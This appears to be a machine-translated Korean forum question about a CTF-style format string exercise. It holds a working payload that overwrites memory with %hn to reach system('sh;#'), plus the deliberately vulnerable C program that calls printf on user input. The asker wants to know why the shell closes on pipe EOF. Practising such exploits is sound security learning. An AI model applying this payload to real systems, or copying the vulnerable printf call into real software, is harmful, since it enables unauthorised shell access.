컴퓨터 과학을 공부하고 보안 훈련도 하고 있어요https://ctf101.org/그리고 자유시간에 운동을 하세요.
프로그램이 두 번 읽는 형식 문자열 활용 연습에서 프로그램의 STDIN(즉, 아래 페이로드)에 입력을 보내고 싶습니다 fgets()
.
이제 페이로드를 파이프하면(아래 참조) system("sh;#")
실행되지만 파이프가 전송했기 때문에 즉시 종료됩니까 EOF
?
또한 프로그램을 확인한 tty
후 작성 했지만 /dev/pts/0
작동하지 않습니다. 글쓰기도 작동하지 않습니다 /proc/PID/fd/0
.
system("sh;#")
호출하면 대화형 셸이 생성되도록(즉시 종료하지 않고) 프로그램의 STDIN에 어떻게 기록합니까 ?
python -c 'print("sh;#"+"%54012x"+"%12$hn"+"%09441x"+"%13$hn"+"##"+"\x50\x33\x40\x00\x00\x00\x00\x00"+"\x52\x33\x40\x00\x00\x00\x00\x00")' | env -i ./fmtstr0x1
전체 프로그램:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BUFSZ 128
int main(int argc, char** argv) {
char buffer[BUFSZ];
fgets(buffer, BUFSZ, stdin);
printf(buffer);
fgets(buffer, BUFSZ, stdin); // exploit this!
return 0;
}